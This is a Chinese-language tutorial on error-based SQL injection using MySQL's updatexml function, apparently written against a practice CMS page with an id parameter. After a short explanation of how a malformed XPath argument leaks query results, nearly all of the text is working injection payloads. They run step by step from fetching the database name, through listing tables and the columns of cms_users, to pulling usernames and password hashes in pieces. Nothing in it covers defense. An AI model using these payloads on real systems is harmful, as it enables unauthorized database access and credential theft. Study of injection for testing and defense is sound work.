SQL报错函数使用环境
使用updatexml 报错函数
updatexml是SQL语法的一个函数:
UPDATEXML(XML_document, XPath_string, new_value)
参数:
1: XML_document是String格式,为XML文档对象的名称,文中为Doc
2:XPath_string (Xpath格式的字符串) ,用于匹配第一个参数中的部分内容。(就像使用正则表达式匹配一个文本的特定内容一样)
3: new_value,String格式,替换查找到的符合条件的数据。
在这里,我们利用updatexml函数的报错机制进行注入,原理就是当第二个参数的格式和Xpath的格式不符的时候,就会产生报错,我们可以将我们的payload构造到第二个参数中,让其随着报错信息展示到页面上。
and updatexml(1, (concat('#',(payload))), 1) #
or updatexml(1, (concat('#',(payload))), 1) #
使用updatexml 报错信息弹到页面
显示数据库名字cm
.?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
数据表名
查询有多少张表
当前对应的表所在的数据库有多少张表(8张)
?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)
查询出第一张表
?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)
查询出第二张表
?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x5e),1)
查询出最后一张表共8张表
?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 7,1),0x5e),1)
根据表名查出多少列
直接使用表名会有单引号’被转换情况编译报错 -->我们使用16进制的表名这样不需要加单引号
查询出cms_users表第一列的名称,不能多列展示
?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)
最后一列【userid username password】
?id=33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)
根据列名查出对应的密码值
1 查询到密码展示不全-显示不全问题
?id=33 and updatexml(1,concat(0x5e,(select password from cms_users limit 0,1),0x5e),1)
2 查询密码的长度
?id=33 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)
3 先截取前16位密码
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)